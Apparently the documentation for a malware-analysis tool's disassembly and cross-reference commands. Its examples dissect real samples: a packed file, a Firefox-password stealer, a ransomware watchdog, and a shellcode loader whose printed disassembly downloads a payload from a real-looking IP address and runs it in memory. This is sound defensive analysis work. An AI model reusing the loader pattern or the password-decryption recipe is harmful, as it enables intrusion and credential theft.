Disassembly & Cross-references¶
Three switches read the machine code of x86/x64 files:
| Switch | Answers |
|---|---|
--disasm TARGET | What are the instructions at this place? |
--xrefs TARGET | Where in the code is this API, address or string used? |
--functions | Which functions did the code scan find? |
None of them is part of --all; ask for them by name. They work with --json. The same engine drives the GUI's Code window, the Code analyzer and the MCP tools disassemble, get_xrefs and list_functions.
Static only
PPEE decodes bytes from the file; it never runs them. Packed code shows as the packer's stub until it is unpacked.
--disasm TARGET¶
| TARGET | Starts at |
|---|---|
ep | The entry point |
tls, tls:N | The first, or the N-th, TLS callback |
export:Name, export:#N | An export by name or ordinal |
func:NAME | A named function: an export, a Go function (func:main.main), a COFF symbol. The end of a name works too |
va:X, rva:X, or a bare hex VA | That address |
off:X | A file offset. Bytes outside every section (an overlay, appended shellcode) are decoded raw |
--count N sets the number of instructions (default 32, at most 5000). Decoding also stops at the end of the section's file data.
Output is plain Intel syntax with VAs. Names replace addresses where PPEE knows them: calls through the import table (call qword ptr [kernel32.GetProcAddress]), exports, the entry point, TLS callbacks and the Control Flow Guard pointers (call qword ptr [__guard_dispatch_icall_fptr]). A referenced string becomes the comment, notable instructions get a hint, and addresses listed in the CFG tables say so (details).
Example: find the original entry point of a UPX-packed file¶
At a glance
- Sample
77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe(UPX-packed)- Question
- Where does the unpacked program start?
- You'll use
--disasm ep- GUI version
- Code analysis, walkthrough 1
PS C:\> ppee-cli.exe --disasm ep --count 8 C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe
C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe: 7168 bytes, PE32
Disassembly: EntryPoint, x86, section UPX1
0040A360 60 pushad
0040A361 BE 15 90 40 00 mov esi, 0x409015
0040A366 8D BE EB 7F FF FF lea edi, dword ptr [esi-0x8015]
0040A36C 57 push edi
0040A36D EB 0B jmp 0x40A37A
0040A36F 90 nop
0040A370 8A 06 mov al, byte ptr [esi]
0040A372 46 inc esi
pushad saves all registers: a packer stub. The stub ends with the matching popad, followed by a jump to the unpacked code:
$ ppee-cli --disasm ep --count 300 77549422….exe | grep -A6 popad
0040A4D5 61 popad
0040A4D6 8D 44 24 80 lea eax, dword ptr [esp-0x80]
0040A4DA 6A 00 push 0x0
0040A4DC 39 C4 cmp esp, eax
0040A4DE 75 FA jnz 0x40A4DA
0040A4E0 83 EC 80 sub esp, 0xFFFFFF80
0040A4E3 E9 E9 7C FF FF jmp 0x4021D1
0x4021D1 is in UPX0, the empty section the stub decompresses into: the original entry point. In a debugger, break on 0x40A4E3, step once, and dump the process.
Example: see what a stealer resolves at run time¶
At a glance
- Sample
STEALERDLL.dll- Question
- Which functions does it look up with
GetProcAddress, out of sight of the import table? - You'll use
--disasm va:and its string comments
$ ppee-cli --disasm va:0x18009397F --count 5 STEALERDLL.dll
Disassembly: va 0x18009397F, x64, section .text
000000018009397F 48 8D 15 7A 49 08 00 lea rdx, qword ptr [0x180118300] ; "PL_Base64Decode"
0000000180093986 48 8B CF mov rcx, rdi
0000000180093989 48 89 05 90 C1 09 00 mov qword ptr [0x18012FB20], rax
0000000180093990 FF 15 FA A7 06 00 call qword ptr [kernel32.GetProcAddress]
0000000180093996 48 8D 15 73 49 08 00 lea rdx, qword ptr [0x180118310] ; "PK11SDR_Decrypt"
PS C:\> ppee-cli.exe --disasm va:0x18009397F --count 5 C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+
Disassembly: va 0x18009397F, x64, section .text
000000018009397F 48 8D 15 7A 49 08 00 lea rdx, qword ptr [0x180118300] ; "PL_Base64Decode"
0000000180093986 48 8B CF mov rcx, rdi
0000000180093989 48 89 05 90 C1 09 00 mov qword ptr [0x18012FB20], rax
0000000180093990 FF 15 FA A7 06 00 call qword ptr [kernel32.GetProcAddress]
0000000180093996 48 8D 15 73 49 08 00 lea rdx, qword ptr [0x180118310] ; "PK11SDR_Decrypt"
The string comments make it readable at a glance: the code resolves Firefox NSS functions (PL_Base64Decode, PK11SDR_Decrypt) with GetProcAddress, the standard recipe for decrypting saved Firefox passwords.
Start on an instruction boundary
x86 has variable-length instructions. Starting in the middle of one gives nonsense (lea edx, qword ptr …). Start from a function start (--functions), a site from --xrefs, or a few instructions earlier.
Example: a shellcode loader¶
At a glance
- Sample
86c6bd8098246eaf4527d9caa406221b3ff1ce551cf3b029cfc71d2e5e7a7963.exe- Question
- Its strings include
http://95.164.53.193:5001/uos.bin. Where is it used, and what happens to what it downloads? - You'll use
--xrefs string:·--disasm va:- GUI version
- From a URL to its call site
$ ppee-cli --xrefs string:uos.bin 86c6bd80….exe
Cross-references to "http://95.164.53.193:5001/uos.bin" (string at 0x14003D9A0): 1 site(s)
sub_140005AE0+0x1C
0000000140005AF0 mov qword ptr [rsp+0x40], rax
0000000140005AF5 call 0x140004B30
0000000140005AFA xor eax, eax
> 0000000140005AFC lea rdx, qword ptr [0x14003D9A0] ; "http://95.164.53.193:5001/uos.bin"
$ ppee-cli --disasm va:0x140005AFC --count 9 86c6bd80….exe
0000000140005AFC 48 8D 15 9D 7E 03 00 lea rdx, qword ptr [0x14003D9A0] ; "http://95.164.53.193:5001/uos.bin"
0000000140005B03 0F 57 C0 xorps xmm0, xmm0
0000000140005B06 48 89 44 24 30 mov qword ptr [rsp+0x30], rax
0000000140005B0B 41 B8 21 00 00 00 mov r8d, 0x21
...
0000000140005B20 E8 3B 1C 00 00 call 0x140007760
0000000140005B25 48 8D 4C 24 20 lea rcx, qword ptr [rsp+0x20]
0000000140005B2A E8 F1 FC FF FF call 0x140005820
r8d = 0x21 is 33, the URL's length: the code builds a string from it and passes it to 0x140005820. Disassemble that function:
$ ppee-cli --disasm va:0x140005820 --count 130 86c6bd80….exe
…
00000001400058A1 call qword ptr [urlmon.URLDownloadToCacheFileW]
… (CreateFileW, GetFileSize, ReadFile, CloseHandle)
000000014000593D call qword ptr [kernel32.DeleteFileW]
…
0000000140005963 lea rdx, qword ptr [0x14003D970] ; "VirtualAlloc"
000000014000596A call qword ptr [kernel32.GetProcAddress]
0000000140005970 mov rbx, rax
0000000140005983 lea rdx, qword ptr [0x14003D980] ; "CreateThread"
000000014000598A call qword ptr [kernel32.GetProcAddress]
0000000140005990 mov rdi, rax
00000001400059A3 lea rdx, qword ptr [0x14003D990] ; "VirtualProtect"
00000001400059AA call qword ptr [kernel32.GetProcAddress]
00000001400059B0 mov rsi, rax
00000001400059BD xor ecx, ecx
00000001400059BF mov r9d, 0x4
00000001400059C5 mov r8d, 0x1000
00000001400059CB call rbx
…
00000001400059E9 call 0x14002DB80
…
00000001400059FD mov r8d, 0x20
0000000140005A03 mov rcx, rbx
0000000140005A06 call rsi
…
0000000140005A15 mov r9, rbx
0000000140005A18 lea r8, qword ptr [0x140005810]
0000000140005A1F xor edx, edx
0000000140005A21 xor ecx, ecx
0000000140005A23 call rdi
…
0000000140005A2D mov edx, 0xFFFFFFFF
0000000140005A35 call qword ptr [kernel32.WaitForSingleObject]
PS C:\> ppee-cli.exe --disasm va:0x140005820 --count 130 C:\MalwareSamples\86c6bd8098246eaf4527d9caa406221b3ff1ce551cf3b029cfc71d2e5e7a7963.exe
C:\MalwareSamples\86c6bd8098246eaf4527d9caa406221b3ff1ce551cf3b029cfc71d2e5e7a7963.exe: 1048576 bytes, PE32+
Disassembly: va 0x140005820, x64, section .text
0000000140005820 40 53 push rbx
0000000140005822 55 push rbp
0000000140005823 56 push rsi
0000000140005824 57 push rdi
0000000140005825 48 81 EC 88 0A 00 00 sub rsp, 0xA88
000000014000582C 48 8B 05 CD E8 03 00 mov rax, qword ptr [0x140044100]
0000000140005833 48 33 C4 xor rax, rsp
0000000140005836 48 89 84 24 70 0A 00 00 mov qword ptr [rsp+0xA70], rax
000000014000583E 0F 57 C9 xorps xmm1, xmm1
0000000140005841 F3 0F 7F 4C 24 40 movdqu xmmword ptr [rsp+0x40], xmm1
0000000140005847 33 ED xor ebp, ebp
0000000140005849 48 89 6C 24 50 mov qword ptr [rsp+0x50], rbp
000000014000584E 48 83 79 18 0F cmp qword ptr [rcx+0x18], 0xF
0000000140005853 76 03 jbe 0x140005858
0000000140005855 48 8B 09 mov rcx, qword ptr [rcx]
0000000140005858 C7 44 24 28 00 04 00 00 mov dword ptr [rsp+0x28], 0x400
0000000140005860 48 8D 84 24 70 02 00 00 lea rax, qword ptr [rsp+0x270]
0000000140005868 48 89 44 24 20 mov qword ptr [rsp+0x20], rax
000000014000586D 41 B9 FF FF FF FF mov r9d, 0xFFFFFFFF
0000000140005873 4C 8B C1 mov r8, rcx
0000000140005876 33 D2 xor edx, edx
0000000140005878 B9 E9 FD 00 00 mov ecx, 0xFDE9
000000014000587D FF 15 2D A8 02 00 call qword ptr [kernel32.MultiByteToWideChar]
0000000140005883 48 89 6C 24 28 mov qword ptr [rsp+0x28], rbp
0000000140005888 89 6C 24 20 mov dword ptr [rsp+0x20], ebp
000000014000588C 41 B9 04 01 00 00 mov r9d, 0x104
0000000140005892 4C 8D 44 24 60 lea r8, qword ptr [rsp+0x60]
0000000140005897 48 8D 94 24 70 02 00 00 lea rdx, qword ptr [rsp+0x270]
000000014000589F 33 C9 xor ecx, ecx
00000001400058A1 FF 15 31 AB 02 00 call qword ptr [urlmon.URLDownloadToCacheFileW]
00000001400058A7 85 C0 test eax, eax
00000001400058A9 0F 85 C6 01 00 00 jnz 0x140005A75
00000001400058AF 48 89 6C 24 30 mov qword ptr [rsp+0x30], rbp
00000001400058B4 C7 44 24 28 80 00 00 00 mov dword ptr [rsp+0x28], 0x80
00000001400058BC C7 44 24 20 03 00 00 00 mov dword ptr [rsp+0x20], 0x3
00000001400058C4 45 33 C9 xor r9d, r9d
00000001400058C7 BA 00 00 00 80 mov edx, 0x80000000
00000001400058CC 41 B8 01 00 00 00 mov r8d, 0x1
00000001400058D2 48 8D 4C 24 60 lea rcx, qword ptr [rsp+0x60]
00000001400058D7 FF 15 DB A7 02 00 call qword ptr [kernel32.CreateFileW]
00000001400058DD 48 8B D8 mov rbx, rax
00000001400058E0 48 83 F8 FF cmp rax, 0xFFFFFFFFFFFFFFFF
...
Read top to bottom, with the x64 argument registers rcx, rdx, r8, r9:
| Step | Code | Meaning |
|---|---|---|
| 1 | URLDownloadToCacheFileW, ReadFile, DeleteFileW | Download uos.bin to the browser cache, read it into memory, delete the file |
| 2 | GetProcAddress with "VirtualAlloc", "CreateThread", "VirtualProtect" | Get three APIs at run time, kept in rbx, rdi, rsi, so they never appear in the import table |
| 3 | call rbx with r8 = 0x1000, r9 = 0x4 | VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE) |
| 4 | call 0x14002DB80 | Copy the downloaded bytes in (memcpy) |
| 5 | call rsi with r8 = 0x20 | VirtualProtect(buffer, size, PAGE_EXECUTE_READ, …): make it executable |
| 6 | call rdi with r9 = rbx | CreateThread(NULL, 0, 0x140005810, buffer, …): run it |
| 7 | WaitForSingleObject(thread, INFINITE) | Wait for the shellcode to finish |
That is a complete download-and-execute shellcode loader, read statically in a few minutes. The payload never touches disk for long, so the URL is the indicator to block and the thing to fetch (safely) for the next stage.
Example: what does the code load from its resources?¶
At a glance
- Sample
3c6b036f2eebc124c17db51960d9f6c9b39e236e9a33d5ac0c3a3a2cabe36833.exe(RemusStealer dropper)- Question
- It holds a 1.5 MB PE in
RT_RCDATA #100(--resources). Does its code load it? - You'll use
--xrefs FindResourceW
PS C:\> ppee-cli.exe --xrefs FindResourceW C:\MalwareSamples\3c6b036f2eebc124c17db51960d9f6c9b39e236e9a33d5ac0c3a3a2cabe36833.exe
C:\MalwareSamples\3c6b036f2eebc124c17db51960d9f6c9b39e236e9a33d5ac0c3a3a2cabe36833.exe: 1826352 bytes, PE32+
Cross-references to kernel32.FindResourceW (import at 0x1400310B8): 1 site(s)
sub_140001CE0+0xF7
0000000140001DCD mov r8d, 0xA
0000000140001DD3 mov edx, eax
0000000140001DD5 xor ecx, ecx
> 0000000140001DD7 call qword ptr [kernel32.FindResourceW]
FindResourceW(hModule = NULL, lpName, lpType): in x64 the third argument is r8, and 0xA is RT_RCDATA. The code looks the payload up in its own resources; LoadResource / LockResource / SizeofResource (also imported) then give it the bytes.
--xrefs TARGET¶
Scans the code, then lists every place that uses TARGET, each with its containing function and the instructions leading up to it, so you can read the arguments being set up.
| TARGET | Finds |
|---|---|
VirtualAlloc or kernel32.VirtualAlloc | Calls and reads of that import's IAT slot, including calls through jmp [IAT] thunks |
va:X, rva:X, or a hex VA | Calls and jumps to code at X; memory references to data at X |
string:TEXT | Instructions referencing any string that contains TEXT |
imm:X | Instructions using the constant X (0x100 and up) as an immediate: a control ID, a magic, a hash |
For code, the output also says where its address is stored as a pointer in data: how a function with no direct caller is reached (a vtable, a message map, a callback table).
--max-sites N limits the sites printed per target (default 50); the total is always given.
$ ppee-cli --xrefs CryptUnprotectData --max-sites 2 STEALERDLL.dll
Cross-references to crypt32.CryptUnprotectData (import at 0x1800FE070): 3 site(s), first ones listed
sub_18008F140+0x143
000000018008F273 mov qword ptr [rsp+0x20], 0x0
000000018008F27C xor edx, edx
000000018008F27E mov dword ptr [rsp+0x40], r14d
> 000000018008F283 call qword ptr [crypt32.CryptUnprotectData]
sub_18008F300+0xFD9
…
> 00000001800902D9 call qword ptr [crypt32.CryptUnprotectData]
PS C:\> ppee-cli.exe --xrefs CryptUnprotectData --max-sites 2 C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+
Cross-references to crypt32.CryptUnprotectData (import at 0x1800FE070): 3 site(s), first ones listed
sub_18008F140+0x143
000000018008F273 mov qword ptr [rsp+0x20], 0x0
000000018008F27C xor edx, edx
000000018008F27E mov dword ptr [rsp+0x40], r14d
> 000000018008F283 call qword ptr [crypt32.CryptUnprotectData]
sub_18008F300+0xFD9
00000001800902CC mov qword ptr [rsp+0x20], r13
00000001800902D1 xor edx, edx
00000001800902D3 mov dword ptr [rbp+0x138], esi
> 00000001800902D9 call qword ptr [crypt32.CryptUnprotectData]
Three DPAPI decryptions in two functions. Now ask where a string is used:
$ ppee-cli --xrefs string:PK11SDR_Decrypt --max-sites 1 STEALERDLL.dll
Cross-references to "PK11SDR_Decrypt" (string at 0x180118310): 3 site(s), first ones listed
sub_180093750+0x246
0000000180093986 mov rcx, rdi
0000000180093989 mov qword ptr [0x18012FB20], rax
0000000180093990 call qword ptr [kernel32.GetProcAddress]
> 0000000180093996 lea rdx, qword ptr [0x180118310] ; "PK11SDR_Decrypt"
PS C:\> ppee-cli.exe --xrefs string:PK11SDR_Decrypt --max-sites 1 C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+
Cross-references to "PK11SDR_Decrypt" (string at 0x180118310): 3 site(s), first ones listed
sub_180093750+0x246
0000000180093986 mov rcx, rdi
0000000180093989 mov qword ptr [0x18012FB20], rax
0000000180093990 call qword ptr [kernel32.GetProcAddress]
> 0000000180093996 lea rdx, qword ptr [0x180118310] ; "PK11SDR_Decrypt"
The string is used by code, not just stored in the file: strong evidence. Disassemble sub_180093750 to read the whole routine.
Reading arguments in 32-bit code
In x86 code, arguments are pushed right to left, so the lead-in shows them. push 0x40 just before call [kernel32.VirtualAlloc] is flProtect = PAGE_EXECUTE_READWRITE: memory for code. Raise the lead-in with the MCP context argument when you need more.
--callers and --callees¶
The call tree around a function, --depth N levels (1 to 3): who calls it, or what it calls with the imports each function calls. TARGET takes --disasm's forms.
$ ppee-cli --callees ep --depth 3 fcf1da46….exe
fcf1da46….exe: 14336 bytes, PE32+
Callees of ep:
0x140001578 EntryPoint
0x140001404 sub_140001404
imports: api-ms-win-crt-runtime-l1-1-0._cexit, api-ms-win-crt-runtime-l1-1-0._initterm, …
0x140001070 sub_140001070
imports: kernel32.CreateToolhelp32Snapshot, kernel32.Sleep, kernel32.GetLastError, kernel32.Process32NextW, kernel32.Process32FirstW, kernel32.CloseHandle, kernel32.CreateProcessW, api-ms-win-crt-string-l1-1-0._wcsicmp
0x140001010 sub_140001010
…
0x1400018A4 sub_1400018A4
0x140001FF8 sub_140001FF8 (above)
PS C:\> ppee-cli.exe --callees ep --depth 3 C:\MalwareSamples\fcf1da46d66cc6a0a34d68fe79a33bc3e8439affdee942ed82f6623586b01dd1.exe
C:\MalwareSamples\fcf1da46d66cc6a0a34d68fe79a33bc3e8439affdee942ed82f6623586b01dd1.exe: 14336 bytes, PE32+
Callees of ep:
0x140001578 EntryPoint
0x140001404 sub_140001404
imports: api-ms-win-crt-runtime-l1-1-0._register_thread_local_exe_atexit_callback, api-ms-win-crt-runtime-l1-1-0._cexit, api-ms-win-crt-runtime-l1-1-0._exit, api-ms-win-crt-runtime-l1-1-0.exit, api-ms-win-crt-runtime-l1-1-0._initterm_e, api-ms-win-crt-runtime-l1-1-0._initterm, api-ms-win-crt-runtime-l1-1-0._get_wide_winmain_command_line
0x140001070 sub_140001070
imports: kernel32.CreateToolhelp32Snapshot, kernel32.Sleep, kernel32.GetLastError, kernel32.Process32NextW, kernel32.Process32FirstW, kernel32.CloseHandle, kernel32.CreateProcessW, api-ms-win-crt-string-l1-1-0._wcsicmp
0x140001010 sub_140001010
imports: api-ms-win-crt-stdio-l1-1-0.__stdio_common_vfwprintf, api-ms-win-crt-stdio-l1-1-0.__acrt_iob_func
0x140001708 sub_140001708
0x140001FF8 sub_140001FF8
0x140001744 sub_140001744
0x140001A18 sub_140001A18
0x140001D2C sub_140001D2C
0x14000180C sub_14000180C
0x1400018A4 sub_1400018A4
0x140001FF8 sub_140001FF8 (above)
0x1400018C8 sub_1400018C8
0x140001A18 sub_140001A18 (above)
0x140001A50 sub_140001A50
0x140001A58 sub_140001A58
0x140001A68 sub_140001A68
imports: kernel32.RtlLookupFunctionEntry, kernel32.RtlVirtualUnwind, kernel32.UnhandledExceptionFilter, kernel32.SetUnhandledExceptionFilter, kernel32.IsDebuggerPresent, kernel32.IsProcessorFeaturePresent, kernel32.RtlCaptureContext, vcruntime140.memset
0x140001A60 sub_140001A60
0x140002022 sub_140002022
imports: vcruntime140.memset
0x140001BB0 sub_140001BB0
imports: kernel32.GetStartupInfoW, vcruntime140.memset
0x140002022 sub_140002022 (above)
0x140001BF4 sub_140001BF4
imports: kernel32.GetModuleHandleW
0x140002046 sub_140002046
imports: api-ms-win-crt-runtime-l1-1-0._get_wide_winmain_command_line
0x14000204C sub_14000204C
imports: api-ms-win-crt-runtime-l1-1-0._initterm
0x140002052 sub_140002052
imports: api-ms-win-crt-runtime-l1-1-0._initterm_e
0x140002058 sub_140002058
imports: api-ms-win-crt-runtime-l1-1-0.exit
0x14000205E sub_14000205E
imports: api-ms-win-crt-runtime-l1-1-0._exit
0x14000206A sub_14000206A
imports: api-ms-win-crt-runtime-l1-1-0._cexit
0x140002076 sub_140002076
...
A ransomware's 14 KB watchdog: one function enumerates processes and restarts one. For Go, --callees func:main.main starts from the program's own main.
--functions¶
Lists function starts found by decoding outward from the entry point, TLS callbacks, exports, x64 .pdata and relocated pointers into code (vtables, callback tables; in Delphi code, the virtual-method slots of each VMT and the published-method tables, followed only where the VMT's vmtSelfPtr and class name, or the entry's size field, confirm the structure), following direct calls and jumps.
PS C:\> ppee-cli.exe --functions C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+
Functions: 4102 found (243512 instructions decoded)
section .text exec 243512 instruction(s)
section .rdata data 0 instruction(s)
section .data data 0 instruction(s)
section .pdata data 0 instruction(s)
section _RDATA data 0 instruction(s)
section .rsrc data 0 instruction(s)
section .reloc data 0 instruction(s)
0000000180001000 .pdata 0 caller(s)
0000000180001030 .pdata 0 caller(s)
0000000180001060 .pdata 0 caller(s)
0000000180001090 .pdata 0 caller(s)
00000001800010C0 .pdata 0 caller(s)
00000001800010F0 .pdata 0 caller(s)
0000000180001120 .pdata 0 caller(s)
0000000180001150 .pdata 0 caller(s)
0000000180001180 .pdata 0 caller(s)
00000001800011B0 .pdata 0 caller(s)
00000001800011E0 .pdata 0 caller(s)
0000000180001210 .pdata 0 caller(s)
0000000180001240 .pdata 0 caller(s)
0000000180001270 .pdata 0 caller(s)
00000001800012A0 .pdata 0 caller(s)
00000001800012D0 .pdata 0 caller(s)
0000000180001300 .pdata 0 caller(s)
0000000180001330 .pdata 0 caller(s)
0000000180001360 .pdata 0 caller(s)
0000000180001390 .pdata 0 caller(s)
00000001800013C0 .pdata 0 caller(s)
00000001800013F0 .pdata 0 caller(s)
0000000180001420 .pdata 0 caller(s)
0000000180001450 .pdata 0 caller(s)
0000000180001480 .pdata 0 caller(s)
00000001800014B0 .pdata 0 caller(s)
00000001800014E0 .pdata 0 caller(s)
0000000180001510 .pdata 0 caller(s)
0000000180001540 .pdata 0 caller(s)
0000000180001570 .pdata 0 caller(s)
00000001800015A0 .pdata 0 caller(s)
00000001800015D0 .pdata 0 caller(s)
0000000180001600 .pdata 0 caller(s)
0000000180001630 .pdata 0 caller(s)
0000000180001660 .pdata 0 caller(s)
...
It first says how many instructions were decoded per section, then lists the function starts. The source column says how each start was found; caller(s) counts direct calls.
On a packed file the section lines tell the story at once:
PS C:\> ppee-cli.exe --functions C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe
C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe: 7168 bytes, PE32
Functions: 1 found (162 instructions decoded)
section UPX0 exec 0 instruction(s) (executable, but no code found)
section UPX1 exec 162 instruction(s)
section .rsrc data 0 instruction(s)
0040A360 entry point 0 caller(s) EntryPoint
An executable section with no code found is empty in the file or holds packed data: the real program is somewhere the scan can't read yet. Code reached only through computed jumps is missed, so counts are lower bounds.
Bounded on crafted files
The scan stops at 5 million instructions and 4 million references. explorer.exe (830k instructions, 14.7k functions) takes about half a second.
JSON¶
{ "target": "ep", "label": "EntryPoint", "arch": "x86", "imageBase": "0x400000", "section": "UPX1", "executable": true,
"stopReason": "count",
"instructions": [
{ "va": "0x40A360", "rva": "0xA360", "offset": "0x1560", "bytes": "60", "text": "pushad" },
{ "va": "0x40A361", "rva": "0xA361", "offset": "0x1561", "bytes": "BE15904000", "text": "mov esi, 0x409015" } ] }
Branches add flow (call, jmp, jcc, ret, …) and target; instructions with a hint add hints[]. stopReason is count, end of section data, end of file, byte limit, or ret/jmp (MCP stop_at_flow_end).
{ "target": "CryptUnprotectData", "instructionsDecoded": 243512,
"targets": [ { "va": "0x1800FE070", "kind": "import", "name": "crypt32.CryptUnprotectData", "total": 3,
"sites": [ { "va": "0x18008F283", "function": "sub_18008F140+0x143",
"context": [ "0x18008F273 mov qword ptr [rsp+0x20], 0x0", "…", "0x18008F283 call qword ptr [crypt32.CryptUnprotectData]" ] } ] } ] }
--functions adds functions → count, instructionsDecoded, sections[] (name, va, executable, instructions) and list[] (va, source, name when known, callers).
Scan options¶
| Switch | Effect |
|---|---|
--scan-budget N | Code scan budget in millions of instructions (default 5, 1–50). Applies to --analysis, --xrefs, --functions and, given with --mcp, every MCP tool |
--no-code-scan | Don't scan for --analysis (its Code view then covers the entry point and TLS only) or for MCP string references (codeRefs, referencedByCode). --xrefs and --functions still scan |
These are the CLI's version of the GUI's Settings → Disassembly.
Recipes¶
# Every function that calls CreateRemoteThread, once each
ppee-cli --json --xrefs CreateRemoteThread f.exe | jq -r '.xrefs.targets[].sites[].function | sub("\\+.*";"")' | sort -u
# Which of these suspicious APIs are actually called (not just imported)?
for api in VirtualAllocEx WriteProcessMemory CreateRemoteThread CryptUnprotectData; do
n=$(ppee-cli --json --xrefs "$api" f.exe | jq '[.xrefs.targets[]?.total] | add // 0')
echo "$api $n"
done
# Disassemble every TLS callback (code that runs before the entry point)
ppee-cli --disasm tls:0 --count 40 f.exe
Related: Code analysis · Code window · MCP disassemble
References¶
- Intel 64 and IA-32 Architectures Software Developer's Manuals: the instruction set reference behind the disassembly.
- x64 calling convention (Microsoft): how arguments are passed in registers on x64 Windows, useful when reading call sites.